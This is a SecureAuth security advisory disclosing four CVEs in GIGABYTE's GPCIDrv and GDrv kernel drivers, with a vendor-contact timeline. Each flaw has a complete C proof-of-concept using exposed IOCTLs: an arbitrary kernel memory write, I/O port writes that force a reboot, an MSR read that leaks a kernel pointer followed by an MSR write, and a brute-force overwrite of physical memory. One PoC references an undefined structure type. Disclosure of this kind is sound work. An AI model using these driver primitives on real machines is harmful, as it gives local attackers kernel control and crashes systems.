1. Advisory Information

Title: GIGABYTE Drivers Elevation of Privilege Vulnerabilities
Advisory ID: CORE-2018-0007
Advisory URL: http://www.secureauth.com/labs/advisories/gigabyte-drivers-elevation-privilege-vulnerabilities
Date published: 2018-12-18
Date of last update: 2018-12-18
Vendors contacted: Gigabyte
Release mode: User release

2. Vulnerability Information

Class: Exposed IOCTL with Insufficient Access Control [CWE-782], Exposed IOCTL with Insufficient Access Control [CWE-782], Exposed IOCTL with Insufficient Access Control [CWE-782], Exposed IOCTL with Insufficient Access Control [CWE-782]
Impact: Code execution
Remotely Exploitable: No
Locally Exploitable: Yes
CVE Name: CVE-2018-19320, CVE-2018-19322, CVE-2018-19323, CVE-2018-19321

3. Vulnerability Description

GIGABYTE's website states that[1]:

Founded in 1986, GIGABYTE is committed to providing top-notch solutions that "upgraded your life". We are regarded as a pioneer in innovation with groundbreaking excitements such as Ultra Durable, WINDFORCE, and BRIX series. We have also invented a premium gaming brand AORUS, a full spectrum of gaming products for gamers and enthusiast. GIGABYTE has continuously brought unique new ways of digital world and created marvelous products that empower you with meaningful and charming experiences.

Multiple vulnerabilities were found in the GPCIDrv and GDrv drivers as bundled with several GIGABYTE and AORUS branded motherboard and graphics card utilities, which could allow a local attacker to elevate privileges.

4. Vulnerable Packages

  • GIGABYTE APP Center v1.05.21 and previous
  • AORUS GRAPHICS ENGINE v1.33 and previous
  • XTREME GAMING ENGINE v1.25 and previous
  • OC GURU II v2.08

Other products and versions might be affected, but they were not tested.

5. Vendor Information, Solutions and Workarounds

The vendor did not provide fixes or workaround information.

6. Credits

These vulnerabilities were discovered and researched by Diego Juarez. The publication of this advisory was coordinated by Leandro Cuozzo from SecureAuth Advisories Team.

7. Technical Description / Proof of Concept Code

GYGABYTE App Center, RGBFusion, Xtreme Engine, AORUS Graphics Engine, etc. use low level drivers to program and query the status on several embedded ICs on their hardware. Fan curves, clock frequencies, LED colors, thermal performance, and other user customizable properties and monitoring functionality are exposed to applications through these low level kernel drivers.

The main subject of this advisory are two of the device drivers installed/loaded by affected GIGABYTE utilities (GPCIDrv and GDrv). From now on addressed as "GPCI" and "GIO". Default installation allows non-privileged user processes (even running at LOW INTEGRITY) to get a HANDLE and issue IOCTL codes to these drivers.

The following sections describe the problems found.

7.1. Arbitrary ring0 VM read/write

[CVE-2018-19320] There is ring0 memcpy-like functionality built into GIO's IOCTL 0xC3502808, allowing a local attacker to take complete control of the affected system.

Proof of Concept:

// GIGABYTE PoC demonstrating non-pivileged R/W access to abritrary virtual memory

#include <windows.h>
#include <stdio.h>

#define IOCTL_GIO_MEMCPY 0xC3502808

HANDLE ghDriver = 0;

#pragma pack (push,1)

typedef struct _GIO_MemCpyStruct {
	ULONG64 dest;
	ULONG64 src;
	DWORD size;
} GIO_MemCpyStruct;

#pragma pack(pop)

BOOL GIO_memcpy(ULONG64 dest, ULONG64 src, DWORD size)
{
	GIO_MemCpyStruct mystructIn = { dest, src, size};
	BYTE outbuffer[0x30] = { 0 };
	DWORD returned = 0;

	DeviceIoControl(ghDriver, IOCTL_GIO_MEMCPY, (LPVOID)&mystructIn, sizeof(mystructIn), (LPVOID)outbuffer, sizeof(outbuffer), & returned, NULL);
	if (returned) {
		return TRUE;
	}
	return FALSE;
}

BOOL InitDriver()
{
	char szDeviceNames[] = "\\\\.\\GIO";
	ghDriver = CreateFile(szDeviceNames, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

	if (ghDriver == INVALID_HANDLE_VALUE) {
		printf("Cannot get handle to driver \'%s\' - GetLastError:%d\n", szDeviceNames, GetLastError());
		return FALSE;
	}
	return TRUE;
}

int main(int argc, char* argv[])
{
	if (!InitDriver()) {
		exit(0);
	}
	printf("GIGABYTE PoC (arbitrary ring0 write) - pnx!/CORE\n");
	printf("press ENTER for instant BSOD\n");
	getchar();
	ULONG64 data = 0xFFFF1111FFFF2222;
	GIO_memcpy(0, (ULONG64)&data, 8);
	CloseHandle(ghDriver);

	return 0;
}     

7.2. Port mapped I/O access

[CVE-2018-19322] Both GPCI and GIO expose functionality to read/write data from/to IO ports. This could be leveraged in a number of ways to ultimately run code with elevated privileges.

Proof of Concept:

// GIGABYTE PoC demonstrating non-privileged access to IO ports

// This harmless PoC only reboots the PC, much more sinister stuff 
// would also be possible by abusing this functionality.

#include <windows.h>
#include <stdio.h>

// for \\.\GPCIDrv64
#define IOCTL_GPCIDRV_PORTREADB 0x9C402588
#define IOCTL_GPCIDRV_PORTWRITEB 0x9C40258C

// for \\.\GIO
#define IOCTL_GIO_PORTREADB 0x0C3506404 
#define IOCTL_GIO_PORTWRITEB 0x0C350A440

HANDLE ghDriver = 0;

typedef BYTE(*fnPMIOReadB)(WORD port);
typedef BYTE(*fnPMIOWriteB)(WORD port, BYTE value);

#pragma pack (push,1)

typedef struct  {
	DWORD DriverIndex;		// DriverEnum index
	BYTE DeviceName[MAX_PATH];
	fnPMIOReadB pPMIOReadB;
	fnPMIOWriteB pPMIOWriteB;
} AutoConfigStruct;

AutoConfigStruct gConfig = { 0 };

enum DriverEnum {
	GPCIDrv64 = 1,
	GIO,
};

typedef struct _GPCIDRV_PORTIO_STRUCT {
	DWORD port;
	ULONG64 value;
} GPCIDRV_PORTIO_STRUCT;

#pragma pack(pop)

#define IOCTLMACRO(iocontrolcode, size) \
	BYTE outbuffer[0x30] = { 0 };	\
	DWORD returned = 0;	\
	DeviceIoControl(ghDriver, ##iocontrolcode##, (LPVOID)&inbuffer, ##size##, (LPVOID)outbuffer, sizeof(outbuffer), &returned, NULL);	\
	return outbuffer[0];	\

BYTE GPCIDrv_PMIOReadB(WORD port)
{
	GPCIDRV_PORTIO_STRUCT  inbuffer = { port, 0};
	IOCTLMACRO(IOCTL_GPCIDRV_PORTREADB, 10)
}

BYTE GPCIDrv_PMIOWriteB(WORD port, BYTE value)
{
	GPCIDRV_PORTIO_STRUCT  inbuffer = { port, value};
	IOCTLMACRO(IOCTL_GPCIDRV_PORTWRITEB, 10)
}

BYTE GIO_PMIOReadB(WORD port)
{
	GPCIDRV_PORTIO_STRUCT  inbuffer = { port, 0 };
	IOCTLMACRO(IOCTL_GIO_PORTREADB, 4)
}

BYTE GIO_PMIOWriteB(WORD port, BYTE value)
{
	GPCIDRV_PORTIO_STRUCT  inbuffer = { port, value };
	IOCTLMACRO(IOCTL_GIO_PORTWRITEB, 5)
}

void Reboot()
{
	BYTE cf9 = gConfig.pPMIOReadB(0xcf9) & ~0x6;
	gConfig.pPMIOWriteB(0xcf9, cf9 | 2);
	Sleep(50);
	gConfig.pPMIOWriteB(0xcf9, cf9 | 0xe);
	Sleep(50);
}

BOOL InitDriver()
{
	char *szDeviceNames[] = { "\\\\.\\GPCIDrv64" , "\\\\.\\GIO" };
	BYTE i = 0;
	for (i = 0; i < 2; i++) {
		ghDriver = CreateFile(szDeviceNames[i], GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

		if (ghDriver == INVALID_HANDLE_VALUE) {
			printf("Cannot get handle to driver object \'%s\'- GetLastError:%d\n", szDeviceNames[i], GetLastError());
			continue;
		}

		gConfig.DriverIndex = i+1;
		memcpy(gConfig.DeviceName, szDeviceNames[i], MAX_PATH-1);
		break;
	}

	switch (gConfig.DriverIndex) {
		case DriverEnum::GPCIDrv64:
		{
			gConfig.pPMIOReadB = (fnPMIOReadB)GPCIDrv_PMIOReadB;
			gConfig.pPMIOWriteB = (fnPMIOWriteB)GPCIDrv_PMIOWriteB;
		}
		break;

		case DriverEnum::GIO:
		{
			gConfig.pPMIOReadB = (fnPMIOReadB)GIO_PMIOReadB;
			gConfig.pPMIOWriteB = (fnPMIOWriteB)GIO_PMIOWriteB;
		}
		break;

		default:
			break;
	}


	return gConfig.DriverIndex ? TRUE : FALSE;
}

int main(int argc, char* argv[])
{
	printf("GIGABYTE PoC (PMIO access) - pnx!/CORE\n");
	
	if (!InitDriver()) {
		printf("InitDriver failed! - aborting...\n");
		exit(0);
	}

	printf("DeviceName: \'%s\' Handle: %08x\n", gConfig.DeviceName, (DWORD)ghDriver);

	Reboot();
	return CloseHandle(ghDriver);
}        

7.3. MSR Register access

[CVE-2018-19323] GIO exposes functionality to read and write Machine Specific Registers (MSRs). This could be leveraged to execute arbitrary ring-0 code.

Proof of Concept:

// GIGABYTE GIO driver PoC demonstrating non-privileged access to MSR registers

// This PoC demonstrates non privileged MSR access by reading 
// IA32_LSTAR value (leaks a kernel function pointer bypassing KASLR)
// and then writing garbage to it (instant BSOD!)

#include <windows.h>
#include <stdio.h>

#define IOCTL_GIO_MSRACCESS 0x0C3502580

HANDLE ghDriver = 0;

#pragma pack (push,1)

typedef struct _GIO_MSRIO_STRUCT {
	DWORD rw;			// 0 read - 1 write
	DWORD reg;			// 
	ULONG64 value;		// 
} GIO_MSRIO_STRUCT;

#pragma pack(pop)

#define IOCTLMACRO(iocontrolcode, size) \
	DWORD returned = 0;	\
	DeviceIoControl(ghDriver, ##iocontrolcode##, (LPVOID)&inbuffer, ##size##, (LPVOID)outbuffer, sizeof(outbuffer), &returned, NULL);	\
	return outbuffer[1];	\

ULONG64 GIO_RDMSR(DWORD reg)
{
	ASIO_MSRIO_STRUCT inbuffer = { 1, reg };
	ULONG64 outbuffer[2] = { 0 };	
	IOCTLMACRO(IOCTL_GIO_MSRACCESS, 16)
}

ULONG64 GIO_WRMSR(DWORD reg, ULONG64 value)
{
	ASIO_MSRIO_STRUCT inbuffer = { 0, reg, value };
	ULONG64 outbuffer[2] = { 0 };	
	IOCTLMACRO(IOCTL_GIO_MSRACCESS, 16)
}

BOOL InitDriver()
{
	char szDeviceName[] = "\\\\.\\GIO";
	ghDriver = CreateFile(szDeviceName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

	if (ghDriver == INVALID_HANDLE_VALUE) {
		printf("Cannot get handle to driver object \'%s\'- GetLastError:%d\n", szDeviceName, GetLastError());
		return FALSE;
	}
	return TRUE;
}

int main(int argc, char* argv[])
{
	printf("GIGABYTE PoC (MSR access) - pnx!/CORE\n");
	
	if (!InitDriver()) {
		printf("InitDriver failed! - aborting...\n");
		exit(0);
	}

	ULONG64 a = GIO_RDMSR(0xC0000082);
	printf("IA322_LSTAR: %llx (nt!KiSystemCall64)\n", a);
	printf("press ENTER for instant BSOD\n");
	getchar();
	a = GIO_WRMSR(0xC0000082, 0xffff1111ffff2222);
	return CloseHandle(ghDriver);
}       

7.4. Arbitrary physical memory read/write

[CVE-2018-19321] Both GPCI and GIO expose functionality to read/write arbitrary physical memory, allowing a local attacker to take complete control of the affected system.

Proof of Concept:

// GIGABYTE PoC (arbitrary physical memory read/write)

#include <windows.h>
#include <stdio.h>

#define IOCTL_GIO_MAPPHYSICAL	0xC3502004
#define IOCTL_GIO_UNMAPPHYSICAL 0xC3502008

#define IOCTL_GPCI_MAPPHYSICAL	 0x9C402580
#define IOCTL_GPCI_UNMAPPHYSICAL 0x9C402584

HANDLE ghDriver = 0;

typedef ULONG64(*fnMapPhysical)(ULONG64 physicaladdress);
typedef ULONG64(*fnUnMapPhysical)(ULONG64 address);

#pragma pack (push,1)

typedef struct _GIO_PHMAP {
	DWORD InterfaceType;
	DWORD Bus;
	ULONG64 PhysicalAddress;
	DWORD IOSpace;
	DWORD size;
} GIO_PHMAP;

typedef struct _GPCI_PHMAP {
	DWORD PhysicalAddress;
	DWORD size;
} GPCI_PHMAP;

typedef struct {
	DWORD DriverIndex;		// DriverEnum index
	BYTE DeviceName[MAX_PATH];
	fnMapPhysical pMapPhysical;
	fnUnMapPhysical pUnMapPhysical;
} AutoConfigStruct;

AutoConfigStruct gConfig = { 0 };

enum DriverEnum {
	GPCIDrv64 = 1,
	GIO,
};

#pragma pack(pop)


#define IOCTLMACRO(iocontrolcode) \
	ULONG64 outbuffer[2] = { 0 };	\
	DWORD returned = 0;	\
	DeviceIoControl(ghDriver, ##iocontrolcode##, (LPVOID)&inbuffer, sizeof(inbuffer), (LPVOID)outbuffer, sizeof(outbuffer), &returned, NULL);	\
	return outbuffer[0];	\

ULONG64 GIO_mapPhysical(ULONG64 physicaladdress)
{
	GIO_PHMAP inbuffer = { 0, 0, physicaladdress, 0, 0x1000};
	IOCTLMACRO(IOCTL_GIO_MAPPHYSICAL)
}

ULONG64 GIO_unmapPhysical(ULONG64 address)
{
	ULONG64 inbuffer = address;
	IOCTLMACRO(IOCTL_GIO_UNMAPPHYSICAL)
}

ULONG64 GPCI_mapPhysical(DWORD physicaladdress)
{
	GPCI_PHMAP inbuffer = { physicaladdress, 0x1000};
	IOCTLMACRO(IOCTL_GPCI_MAPPHYSICAL)
}

ULONG64 GPCI_unmapPhysical(ULONG64 address)
{
	ULONG64 inbuffer = address;
	IOCTLMACRO(IOCTL_GPCI_UNMAPPHYSICAL)
}

BOOL InitDriver()
{
	char *szDeviceNames[] = { "\\\\.\\GPCIDrv64" , "\\\\.\\GIO" };
	BYTE i = 0;
	for (i = 0; i < 2; i++) {
		ghDriver = CreateFile(szDeviceNames[i], GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

		if (ghDriver == INVALID_HANDLE_VALUE) {
			printf("Cannot get handle to driver object \'%s\'- GetLastError:%d\n", szDeviceNames[i], GetLastError());
			continue;
		}

		gConfig.DriverIndex = i + 1;
		memcpy(gConfig.DeviceName, szDeviceNames[i], MAX_PATH - 1);
		break;
	}

	switch (gConfig.DriverIndex) {
	case DriverEnum::GPCIDrv64:
	{
		gConfig.pMapPhysical = (fnMapPhysical)GPCI_mapPhysical;
		gConfig.pUnMapPhysical = (fnUnMapPhysical)GPCI_unmapPhysical;
	}
	break;

	case DriverEnum::GIO:
	{
		gConfig.pMapPhysical = (fnMapPhysical)GIO_mapPhysical;
		gConfig.pUnMapPhysical = (fnUnMapPhysical)GIO_unmapPhysical;
	}
	break;

	default:
		break;
	}

	return gConfig.DriverIndex ? TRUE : FALSE;
}


int main(int argc, char * argv[])
{
	if (!InitDriver()) {
		exit(0);
	}

	printf("GIGABYTE PoC (arbitrary physical memory read/write) - pnx!/CORE\n");
	printf("press ENTER for System CRASH\n");
	getchar();
	printf("Bruteforcing");
	for (unsigned int i = 0; i < 0xffffffff; i+=0x1000) {
		printf(".");
		ULONG64 mappedVA = gConfig.pMapPhysical(i);
		*(ULONG64 *)mappedVA = 0xCCCCCCCCCCCCCCCC;
		gConfig.pUnMapPhysical(mappedVA);
	}
	CloseHandle(ghDriver);
	return 0;
}       

8. Report Timeline

  • 2018-04-24: SecureAuth sent an initial notification to services@gigabyte and services@gigabyteusa and requested for a security contact in order to send a draft advisory.
  • 2018-04-26: SecureAuth sent the initial notification to sales@gigabyteusa and marketing@gigabyteusa and requested for a security contact in order to send a draft advisory.
  • 2018-04-30: Gigabyte Technical support team answered saying the notification was too general and requested SecureAuth to open a ticket in the Support portal.
  • 2018-05-02: SecureAuth replied that it's our policy to keep all the communication process via email in order to track all interactions. For that reason, SecureAuth notified Gigabyte again that a draft advisory, including a technical description, had been written and requested for a security contact to send it.
  • 2018-05-04: Gigabyte Technical support team replied saying that Gigabyte is a hardware company and they are not specialized in software, and requested for technical information.
  • 2018-05-04: In the absence of a security contact, SecureAuth sent to Gigabyte Technical support team the draft advisory including a technical description and POCs.
  • 2018-05-15: SecureAuth requested a status update.
  • 2018-05-16: Gigabyte Technical support team answered that Gigabyte is a hardware company and they are not specialized in software. They requested for technical details and tutorials to verify the vulnerabilities.
  • 2018-05-16: SecureAuth requested for a formal acknowledgment of the draft advisory sent.
  • 2018-05-16: Gigabyte replied saying that the draft advisory was general and asked for a personal contact.
  • 2018-05-17: SecureAuth notified Gigabyte again that is our policy to keep all the communication process via email.
  • 2018-05-31: SecureAuth requested a status update.
  • 2018-05-16: Gigabyte replied saying that the draft advisory was general and asked for a phone contact again.
  • 2018-05-31: SecureAuth requested for a formal acknowledgment of the draft advisory sent multiple times, in order to engage into a coordinated vulnerability disclosure process.
  • 2018-07-03: SecureAuth requested a status update.
  • 2018-07-12: Gigabyte responded that, according to its PM and engineers, its products are not affected by the reported vulnerabilities.
  • 2018-12-18: Advisory CORE-2018-0007 published as 'user release'.

9. References

[1] https://www.gigabyte.com/About

10. About SecureAuth Labs

SecureAuth Labs, the research arm of SecureAuth Corporation, is charged with anticipating the future needs and requirements for information security technologies. We conduct research in several important areas of computer security, including identity-related attacks, system vulnerabilities and cyber-attack planning. Research includes problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. We regularly publish security advisories, primary research, technical publications, research blogs, project information, and shared software tools for public use at http://www.secureauth.com.

11. About SecureAuth

SecureAuth is leveraged by leading companies, their employees, their customers and their partners to eliminate identity-related breaches. As a leader in access management, identity governance, and penetration testing, SecureAuth is powering an identity security revolution by enabling people and devices to intelligently and adaptively access systems and data, while effectively keeping bad actors from doing harm. By ensuring the continuous assessment of risk and enablement of trust, SecureAuth's highly flexible Identity Security Automation (ISA) platform makes it easier for organizations to prevent the misuse of credentials and exponentially reduce the enterprise threat surface. To learn more, visit www.secureauth.com, call (949) 777-6959, or email us at info@secureauth.com

12. Disclaimer

The contents of this advisory are copyright (c) 2018 SecureAuth, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/